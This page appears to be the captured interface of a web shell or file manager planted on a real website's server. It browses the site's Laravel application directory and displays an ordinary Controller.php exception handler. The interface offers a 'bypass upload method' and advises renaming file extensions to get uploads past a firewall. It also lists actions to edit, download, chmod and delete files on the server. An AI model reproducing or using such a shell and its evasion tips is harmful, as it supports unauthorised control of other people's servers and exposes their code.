Search
Search
Search
Search
Information
Information
Light
Dark
Open actions menu
Basic upload method
Bypass upload method
Tips!
If you encounter an error (by firewall) while uploading using both methods,
try changing extension of the file before uploading it and rename it right after.
This uploader supports multiple file upload.
Submit
~
var
www
multi-event-cfp.bitkit.dk
httpdocs
app
Http
Controllers
File Content:
Controller.php
<?php namespace App\Http\Controllers; use App\Models\Log; use App\Support\Entity; use Exception; use Illuminate\Auth\Access\AuthorizationException; use Illuminate\Foundation\Auth\Access\AuthorizesRequests; use Illuminate\Foundation\Bus\DispatchesJobs; use Illuminate\Foundation\Validation\ValidatesRequests; use Illuminate\Http\Exceptions\HttpResponseException; use Illuminate\Routing\Controller as BaseController; class Controller extends BaseController { use AuthorizesRequests, DispatchesJobs, ValidatesRequests; /** * @throws Exception */ public function handleException(Exception $exception, $functionName = null, $className = null, $type = 'error', $comment = null) { if ($exception instanceof HttpResponseException) { throw $exception; } if ($exception instanceof AuthorizationException) { return response([ 'message' => "This action is unauthorized" ], 403); } $request = request()->toArray(); Log::create([ 'type' => $type, 'exception' => get_class($exception), 'message' => $exception->getMessage(), 'function_name' => $functionName, 'class_name' => $className, 'stack' => $exception->getTraceAsString(), 'comment' => $comment, 'request' => $request ]); if (config('app.env', 'production') == 'local') throw $exception; return entity([ 'status' => false, 'message' => 'Something went wrong' ]); } }
Edit
Download
Unzip
Chmod
Delete